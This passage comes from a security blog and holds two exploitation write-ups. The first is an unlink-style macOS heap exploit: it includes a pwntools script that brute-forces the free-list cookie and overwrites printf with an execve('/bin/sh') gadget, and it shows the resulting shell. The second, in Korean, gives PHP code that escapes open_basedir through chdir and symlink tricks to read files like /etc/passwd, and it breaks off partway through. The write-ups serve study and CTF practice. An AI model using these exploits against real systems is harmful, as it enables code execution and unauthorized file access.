<span class="nf">free_list_unchecksum_ptr</span><span class="p">(</span><span class="n">szone_t</span> <span class="o">*</span><span class="n">szone</span><span class="p">,</span> <span class="n">ptr_union</span> <span class="o">*</span><span class="n">ptr</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">ptr_union</span> <span class="n">p</span><span class="p">;</span>
<span class="n">p</span><span class="p">.</span><span class="n">u</span> <span class="o">=</span> <span class="p">(</span><span class="n">ptr</span><span class="o">-></span><span class="n">u</span> <span class="o">>></span> <span class="mi">4</span><span class="p">)</span> <span class="o"><<</span> <span class="mi">4</span><span class="p">;</span>
<span class="k">if</span> <span class="p">((</span><span class="n">ptr</span><span class="o">-></span><span class="n">u</span> <span class="o">&</span> <span class="p">(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="mh">0xF</span><span class="p">)</span> <span class="o">!=</span> <span class="n">free_list_gen_checksum</span><span class="p">(</span><span class="n">p</span><span class="p">.</span><span class="n">u</span> <span class="o">^</span> <span class="n">szone</span><span class="o">-></span><span class="n">cookie</span><span class="p">))</span>
<span class="p">{</span>
<span class="n">free_list_checksum_botch</span><span class="p">(</span><span class="n">szone</span><span class="p">,</span> <span class="p">(</span><span class="n">free_list_t</span> <span class="o">*</span><span class="p">)</span><span class="n">ptr</span><span class="p">);</span>
<span class="k">return</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">return</span> <span class="n">p</span><span class="p">.</span><span class="n">p</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>Fortunately it consists of 4bit, so we try to 4bits brute force.</p>
<p>Next, we just chaining <code class="language-plaintext highlighter-rouge">next->previous = ptr->previous</code> like unlink in ptmalloc2.</p>
<p>Before chaining, we should know how to create metadata when free tiny heap.</p>
<p>It is similar to ptmalloc2’s <code class="language-plaintext highlighter-rouge">smallbin</code> and <code class="language-plaintext highlighter-rouge">largebin</code>.</p>
<p><strong>Test Code</strong> :</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr1</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr2</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr3</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr4</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr5</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr6</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="n">free</span><span class="p">(</span><span class="n">ptr1</span><span class="p">);</span> <span class="c1">// Break1</span>
<span class="n">free</span><span class="p">(</span><span class="n">ptr3</span><span class="p">);</span> <span class="c1">// Break2</span>
<span class="n">free</span><span class="p">(</span><span class="n">ptr5</span><span class="p">);</span> <span class="c1">// Break3</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr7</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr8</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr9</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p><strong>Break1 <code class="language-plaintext highlighter-rouge">free(ptr1)</code> :</strong> It doesn’t have metadata.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(lldbinit) x/32gx 0x7f99a6c02b40
0x7f99a6c02b40: 0x0000000000000000 0x0000000000000000 <-- ptr1
0x7f99a6c02b50: 0x0000000000000000 0x0000000000000000
0x7f99a6c02b60: 0x0000000000000000 0x0000000000000000
0x7f99a6c02b70: 0x0000000000000000 0x0000000000000000
0x7f99a6c02b80: 0x0000000000000000 0x0000000000000000 <-- ptr2
0x7f99a6c02b90: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ba0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02bb0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02bc0: 0x0000000000000000 0x0000000000000000 <-- ptr3
0x7f99a6c02bd0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02be0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02bf0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c00: 0x0000000000000000 0x0000000000000000 <-- ptr4
0x7f99a6c02c10: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c20: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c30: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c40: 0x0000000000000000 0x0000000000000000 <-- ptr5
0x7f99a6c02c50: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c60: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c70: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c80: 0x0000000000000000 0x0000000000000000 <-- ptr6
0x7f99a6c02c90: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ca0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cb0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cc0: 0x0000000000000000 0x0000000000000000 <-- pyt7
0x7f99a6c02cd0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ce0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cf0: 0x0000000000000000 0x0000000000000000
</code></pre></div></div>
<p><strong>Break2 <code class="language-plaintext highlighter-rouge">free(ptr3)</code> :</strong> create metadata in ptr1.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(lldbinit) x/32gx 0x7f99a6c02b40
0x7f99a6c02b40: 0xf000000000000000 0xf000000000000000 <-- ptr1
0x7f99a6c02b50: 0x0000000000000004 0x0000000000000000
0x7f99a6c02b60: 0x0000000000000000 0x0000000000000000
0x7f99a6c02b70: 0x0000000000000000 0x0004000000000000
0x7f99a6c02b80: 0x0000000000000000 0x0000000000000000 <-- ptr2
0x7f99a6c02b90: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ba0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02bb0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02bc0: 0x0000000000000000 0x0000000000000000 <-- ptr3
0x7f99a6c02bd0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02be0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02bf0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c00: 0x0000000000000000 0x0000000000000000 <-- ptr4
0x7f99a6c02c10: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c20: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c30: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c40: 0x0000000000000000 0x0000000000000000 <-- ptr5
0x7f99a6c02c50: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c60: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c70: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c80: 0x0000000000000000 0x0000000000000000 <-- ptr6
0x7f99a6c02c90: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ca0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cb0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cc0: 0x0000000000000000 0x0000000000000000 <-- pyt7
0x7f99a6c02cd0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ce0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cf0: 0x0000000000000000 0x0000000000000000
</code></pre></div></div>
<p>The 8 byte of ptr1 is 0xf, which is <code class="language-plaintext highlighter-rouge">cookie</code>.</p>
<p>If you try to malloc at ptr1, check if <code class="language-plaintext highlighter-rouge">cookie</code> is a valid value in <code class="language-plaintext highlighter-rouge">tiny_malloc_from_free_list</code></p>
<blockquote>
<p>OSX Heap’s metadata is stored as <code class="language-plaintext highlighter-rouge">original value >> 4</code>.</p>
</blockquote>
<p>And, ptr1’s size is 0x40 from 0x7f99a6c02b50 (0x04«4).</p>
<p><strong>Break3 <code class="language-plaintext highlighter-rouge">free(ptr5)</code> :</strong> update ptr1’s metadata, and create metadata in ptr3</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(lldbinit) x/32gx 0x7f99a6c02b40
0x7f99a6c02b40: 0xe00007f99a6c02bc 0xf000000000000000 <-- ptr1
0x7f99a6c02b50: 0x0000000000000004 0x0000000000000000
0x7f99a6c02b60: 0x0000000000000000 0x0000000000000000
0x7f99a6c02b70: 0x0000000000000000 0x0004000000000000
0x7f99a6c02b80: 0x0000000000000000 0x0000000000000000 <-- ptr2
0x7f99a6c02b90: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ba0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02bb0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02bc0: 0xf000000000000000 0xe00007f99a6c02b4 <-- ptr3
0x7f99a6c02bd0: 0x0000000000000004 0x0000000000000000
0x7f99a6c02be0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02bf0: 0x0000000000000000 0x0004000000000000
0x7f99a6c02c00: 0x0000000000000000 0x0000000000000000 <-- ptr4
0x7f99a6c02c10: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c20: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c30: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c40: 0x0000000000000000 0x0000000000000000 <-- ptr5
0x7f99a6c02c50: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c60: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c70: 0x0000000000000000 0x0000000000000000
0x7f99a6c02c80: 0x0000000000000000 0x0000000000000000 <-- ptr6
0x7f99a6c02c90: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ca0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cb0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cc0: 0x0000000000000000 0x0000000000000000 <-- pyt7
0x7f99a6c02cd0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02ce0: 0x0000000000000000 0x0000000000000000
0x7f99a6c02cf0: 0x0000000000000000 0x0000000000000000
</code></pre></div></div>
<p>ptr1’s 8bytes are updated to <code class="language-plaintext highlighter-rouge">0xe00007f99a6c02bc</code>.
<code class="language-plaintext highlighter-rouge">0xe</code> is <code class="language-plaintext highlighter-rouge">cookie</code>, and <code class="language-plaintext highlighter-rouge">0x7f99a6c02bc0</code> is <code class="language-plaintext highlighter-rouge">prev_ptr</code> (0x7f99a6c02bc<<4).</p>
<p>ptr3 have 0xf as <code class="language-plaintext highlighter-rouge">cookie</code> first 8bytes.
<code class="language-plaintext highlighter-rouge">0xe</code> is <code class="language-plaintext highlighter-rouge">cookie</code>, and <code class="language-plaintext highlighter-rouge">0x7f99a6c02b40</code> is <code class="language-plaintext highlighter-rouge">next_ptr</code> (0x7f99a6c02b4<<4).</p>
<p>and ptr7,ptr8,ptr9 is located by malloc to 0x7f99a6c02c40, 0x7f99a6c02bc0, 0x7f99a6c02b40.</p>
<h2 id="exploit">Exploit</h2>
<p>Exploit is very simple like unsafe unlink.</p>
<p>But, it have must 4bit brute force if you cannot leak.</p>
<p>Here is example code :</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span><span class="mi">0</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">0</span><span class="p">);</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr1</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr2</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr3</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr4</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr5</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr6</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="n">free</span><span class="p">(</span><span class="n">ptr1</span><span class="p">);</span>
<span class="n">free</span><span class="p">(</span><span class="n">ptr3</span><span class="p">);</span>
<span class="n">free</span><span class="p">(</span><span class="n">ptr5</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"exit@libsystem_c.dylib : %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">exit</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"main@a.out : %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">main</span><span class="p">);</span>
<span class="n">write</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span><span class="n">ptr3</span><span class="p">,</span><span class="mi">16</span><span class="p">);</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr7</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="n">read</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">ptr3</span><span class="p">,</span><span class="mh">0x20</span><span class="p">);</span>
<span class="kt">int</span> <span class="o">*</span><span class="n">ptr8</span> <span class="o">=</span> <span class="n">malloc</span><span class="p">(</span><span class="mh">0x40</span><span class="p">);</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"</span><span class="se">\n\n</span><span class="s">Finish</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="n">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>
<p>If you free the memory allocated to the tiny size, you can create a heap containing metadata, such as <code class="language-plaintext highlighter-rouge">0x7f99a6c02bc0: 0xf000000000000000 0xe00007f99a6c02b4</code>.</p>
<p>If you malloc an address that exists in the freelist, you can overwrite the value of specific address by metadata.</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">if</span> <span class="p">(</span><span class="n">next</span><span class="p">)</span> <span class="p">{</span>
<span class="n">next</span><span class="o">-></span><span class="n">previous</span> <span class="o">=</span> <span class="n">ptr</span><span class="o">-></span><span class="n">previous</span><span class="p">;</span> <span class="c1">// <-- Here</span>
<span class="p">}</span>
</code></pre></div></div>
<p>To overwrite the value, you must know the address of target you want to overwrite.</p>
<p>First, the example provides the address of the main address and exit, so you only need to think about what to overwrite and how to overwrite it with offset.</p>
<p>I overwrite ‘printf’ to ‘oneshot Gadget’ to get shell.</p>
<p>You can find the offset of the printf in <code class="language-plaintext highlighter-rouge">_lazy_symbol_ptr</code>.</p>
<blockquote>
<p><code class="language-plaintext highlighter-rouge">_lazy_symbol_ptr</code> is similar to <code class="language-plaintext highlighter-rouge">global offset table(got)</code>.</p>
</blockquote>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>__la_symbol_ptr:0000000100001028 ; Segment type: Pure data
__la_symbol_ptr:0000000100001028 ; Segment alignment 'qword' can not be represented in assembly
__la_symbol_ptr:0000000100001028 __la_symbol_ptr segment para public 'DATA' use64
__la_symbol_ptr:0000000100001028 assume cs:__la_symbol_ptr
__la_symbol_ptr:0000000100001028 ;org 100001028h
__la_symbol_ptr:0000000100001028 ; void (__cdecl __noreturn *exit_ptr)(int)
__la_symbol_ptr:0000000100001028 _exit_ptr dq offset __imp__exit ; DATA XREF: _exit↑r
__la_symbol_ptr:0000000100001030 ; void (__cdecl *free_ptr)(void *)
__la_symbol_ptr:0000000100001030 _free_ptr dq offset __imp__free ; DATA XREF: _free↑r
__la_symbol_ptr:0000000100001038 ; void *(__cdecl *malloc_ptr)(size_t)
__la_symbol_ptr:0000000100001038 _malloc_ptr dq offset __imp__malloc ; DATA XREF: _malloc↑r
__la_symbol_ptr:0000000100001040 ; int (*printf_ptr)(const char *, ...)
__la_symbol_ptr:0000000100001040 _printf_ptr dq offset __imp__printf ; DATA XREF: _printf↑r
__la_symbol_ptr:0000000100001048 ; ssize_t (__cdecl *read_ptr)(int, void *, size_t)
__la_symbol_ptr:0000000100001048 _read_ptr dq offset __imp__read ; DATA XREF: _read↑r
__la_symbol_ptr:0000000100001050 ; int (__cdecl *setvbuf_ptr)(FILE *, char *, int, size_t)
__la_symbol_ptr:0000000100001050 _setvbuf_ptr dq offset __imp__setvbuf
__la_symbol_ptr:0000000100001050 ; DATA XREF: _setvbuf↑r
__la_symbol_ptr:0000000100001058 ; ssize_t (__cdecl *write_ptr)(int, const void *, size_t)
__la_symbol_ptr:0000000100001058 _write_ptr dq offset __imp__write ; DATA XREF: _write↑r
__la_symbol_ptr:0000000100001058 __la_symbol_ptr ends
__la_symbol_ptr:0000000100001058
</code></pre></div></div>
<p>Oneshot gadget exists in <code class="language-plaintext highlighter-rouge">libsystem_c.dyib</code>, and it also gets offset.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>__text:000000000002573B lea rdi, aBinSh ; "/bin/sh"
__text:0000000000025742 mov rsi, r14 ; char **
__text:0000000000025745 mov rdx, [rbp+var_450] ; char **
__text:000000000002574C call _execve
</code></pre></div></div>
<p>Metadata must now be set as follows:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[Arbitrary Value] [Target Address]
</code></pre></div></div>
<p>In this case, metadata should be overwritten with <code class="language-plaintext highlighter-rouge">[Oneshot address] [printf address]</code>.</p>
<p>Note that Target Address should use the <code class="language-plaintext highlighter-rouge">printf address >> 4</code> value.</p>
<p>Also, the cookie value must be zero to enter the address of the oneshot gadget.</p>
<p>Based on this, the code is written as follows:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">100</span><span class="p">):</span>
<span class="k">try</span><span class="p">:</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s">'./a.out'</span><span class="p">)</span>
<span class="nb">exit</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">).</span><span class="n">split</span><span class="p">(</span><span class="s">' : '</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">strip</span><span class="p">(),</span><span class="mi">16</span><span class="p">)</span>
<span class="n">main</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">r</span><span class="p">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s">'</span><span class="se">\n</span><span class="s">'</span><span class="p">).</span><span class="n">split</span><span class="p">(</span><span class="s">' : '</span><span class="p">)[</span><span class="mi">1</span><span class="p">].</span><span class="n">strip</span><span class="p">(),</span><span class="mi">16</span><span class="p">)</span>
<span class="n">_lazy_printf</span> <span class="o">=</span> <span class="n">main</span> <span class="o">-</span> <span class="mh">0xD80</span> <span class="o">+</span> <span class="mh">0x1040</span>
<span class="n">oneshot</span> <span class="o">=</span> <span class="nb">exit</span> <span class="o">-</span> <span class="mh">0x5c67c</span> <span class="o">+</span> <span class="mh">0x000000000002573B</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s">''</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">oneshot</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">+=</span> <span class="n">p64</span><span class="p">(</span><span class="n">_lazy_printf</span> <span class="o">>></span> <span class="mi">4</span><span class="p">)</span>
<span class="k">print</span> <span class="n">payload</span><span class="p">.</span><span class="n">encode</span><span class="p">(</span><span class="s">'hex'</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">r</span><span class="p">.</span><span class="n">interactive</span><span class="p">()</span>
<span class="k">except</span><span class="p">:</span>
<span class="n">r</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
</code></pre></div></div>
<p>If cookie is not correct, an error occurs when Malloc as shown below.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ptr1 => 0x7ffcb6402b60
ptr3 => 0x7ffcb6402be0
ptr5 => 0x7ffcb6402c60
AAAAAAAAAAAAAAAAAAAAAA
ptr7 => 0x7ffcb6402c60
a.out(16738,0x1160565c0) malloc: Incorrect checksum for freed object 0x7ffcb6402be8: probably modified after being freed.
Corrupt value: 0x4141414141414141
a.out(16738,0x1160565c0) malloc: *** set a breakpoint in malloc_error_break to debug
Abort trap: 6
</code></pre></div></div>
<p>When the cookie is set \x00, <code class="language-plaintext highlighter-rouge">printf</code> is overwritten with an <code class="language-plaintext highlighter-rouge">oneshot gadget</code> and you can get shell.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[+] Starting local process './a.out': pid 22291
[*] Switching to interactive mode
$ pwd
/Users/shpik/study/osx_heap
$ id
uid=501(shpik) gid=20(staff) groups=20(staff),701(com.apple.sharepoint.group.1),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),98(_lpadmin),501(access_bpf),33(_appstore),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh)
$
</code></pre></div></div>
<h2 id="resource">Resource</h2>
<p>https://opensource.apple.com/source/libmalloc/libmalloc-166.220.1/src/</p>
<p>https://www.synacktiv.com/ressources/Sthack_2018_Heapple_Pie.pdf</p>
<p>https://papers.put.as/papers/macosx/2016/Summercon-2016.pdf</p>shpikHello, I’m noob.PHP Open_basedir bypass2019-04-05T00:00:00+00:002019-04-05T00:00:00+00:00http://blog.shpik.kr/php,/bypass,/open_basedir/2019/04/05/PHP_Open_basedir_Bypass<h2 id="시작하기에-앞서">시작하기에 앞서</h2>
<p>오탈자, 혹은 잘못된 부분은 언제든 환영합니다 :)</p>
<h2 id="왜-갑자기-open_basedir">왜 갑자기 open_basedir?</h2>
<p>잠자기전 트위터를 보다가 굉장히 흥미로운 트윗을 보았습니다. Thanks to, <a href="https://twitter.com/Blaklis_">@Blaklis_</a></p>
<blockquote>
<p><strong>Source :</strong> https://twitter.com/Blaklis_/status/1111586655134203904</p>
</blockquote>
<p>처음에는 단순히 라업을 적은듯 하였는데, 내용을 읽어보니 일단 제가 모르는 것이었습니다. <a href="http://91.121.31.50/phuck3.txt">[Go to link]</a></p>
<p>요약을 하자면 open_basedir이 설정되어있을 경우, 이를 우회해 /(root)로 변경이 가능합니다.</p>
<p>이말은 즉, open_basedir이 /var/www/html에 걸려있더라도 /etc/passwd와 같은 서버 설정파일을 읽을 수 있다는 것입니다.</p>
<p>총 2가지 방법(subdirectory, symlink)을 통해 open_basedir을 우회하려고 합니다.</p>
<h2 id="open_basedir-bypass">open_basedir bypass</h2>
<h4 id="initialize-setting">Initialize Setting</h4>
<p>서버의 설정(php.ini)는 다음과 같습니다.</p>
<div class="language-ini highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="py">open_basedir</span> <span class="p">=</span> <span class="s">/var/www/html</span>
</code></pre></div></div>
<p>index.php의 소스는 다음과 같습니다.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">error_reporting</span><span class="p">(</span><span class="kc">E_ALL</span><span class="p">);</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'display_errors'</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
<span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'f'</span><span class="p">]);</span>
</code></pre></div></div>
<p>/flag를 읽을려고 하면 당연히 에러(open_basedir restriction in effect)가 발생할 것입니다.</p>
<p>참고로 정상적인 경우 open_basedir을 /로 변경해도, open_basedir은 변경되지 않습니다. 고로 /flag를 읽을 수 없습니다.</p>
<p>이제 이를 우회하여 /flag파일을 읽어봅니다.</p>
<h4 id="1---using-subdirectory">1 - Using subdirectory</h4>
<p>subdirectory를 이용하여 open_basedir을 /로 변경하는 방법입니다.</p>
<p>이를 위해서는 open_basedir안에 폴더가 존재해야합니다.</p>
<p>테스트를 위한 서버의 구조는 다음과 같습니다.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@shpik:/var/www/html/shpik/04# ls -al
total 20
drwxr-xr-x 3 root root 4096 Apr 5 04:45 .
drwxr-xr-x 6 root root 4096 Apr 5 04:16 ..
-rw-r--r-- 1 root root 341 Apr 5 04:21 index.php
drwxr-xr-x 2 root root 4096 Apr 5 04:19 mashiro
-rw-r--r-- 1 root root 100 Apr 5 04:45 test.php
</code></pre></div></div>
<p>mashiro라는 폴더를 이용하여 /flag파일을 읽어봅시다.</p>
<p>코드는 다음과 같습니다.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">error_reporting</span><span class="p">(</span><span class="kc">E_ALL</span><span class="p">);</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'display_errors'</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'mashiro'</span><span class="p">);</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'open_basedir'</span><span class="p">,</span><span class="s1">'..'</span><span class="p">);</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'..'</span><span class="p">);</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'..'</span><span class="p">);</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'..'</span><span class="p">);</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'..'</span><span class="p">);</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'..'</span><span class="p">);</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'..'</span><span class="p">);</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'..'</span><span class="p">);</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'..'</span><span class="p">);</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'..'</span><span class="p">);</span>
<span class="nb">chdir</span><span class="p">(</span><span class="s1">'..'</span><span class="p">);</span>
<span class="nb">ini_set</span><span class="p">(</span><span class="s1">'open_basedir'</span><span class="p">,</span><span class="s1">'/'</span><span class="p">);</span>
<span class="k">echo</span> <span class="nb">file_get_contents</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'f'</span><span class="p">]);</span>
</code></pre></div></div>
<p>open_basedir을 우회하여 /flag파일이 정상적으로 읽힙니다.</p>
<h4 id="2---using-symlink">2 - Using symlink</h4>
<p>/를 가르키는 symlink를 생성하여 open_basedir을 우회하는 방법입니다.</p>
<p>이는 ../를 이용해 parent directory로 이동하기 때문에 적당한 깊이의 폴더가 필요합니다.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@shpik:/var/www/html/shpik/04/symlink# tree
.
├── a
│ └── b
│ └── c
│ └── d
│ └── e
│ └── f
│ └── g
│ └── h
│ └── j
│ └── j
│ └── k
└── index.php
</code></pre></div></div>
<p>이를 링크로 하나 만들어줍니다.</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">symlink</span><span class="p">(</span><span class="s1">'/var/www/html/shpik/04/symlink/a/b/c/d/e/f/g/h/j/j/k'</span><span class="p">,</span><span class="s1">'shiina'</span><span class="p">);</span>
</code></pre></div></div>
<p>그러면 아래와 같은 symlink가 생성됩니다.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>shiina -> /var/www/html/shpik/04/symlink/a/b/c/d/e/f/g/h/j/j/k
</code></pre></div></div>
<p>위에서 생성한 symlink(shiina) 기준으로 하위로 내려가는 symlink(goto)를 하나 더 생성해줍니다.</p>
<p>그리고 ini_set을 통해 open_basedir을 재 설정해주는데, 방금 생성한 symlink(goto/)를 추가해줍니다.</p>
<p>마지막으로 symlink(shiina)는 unlink해줍니다.</p>
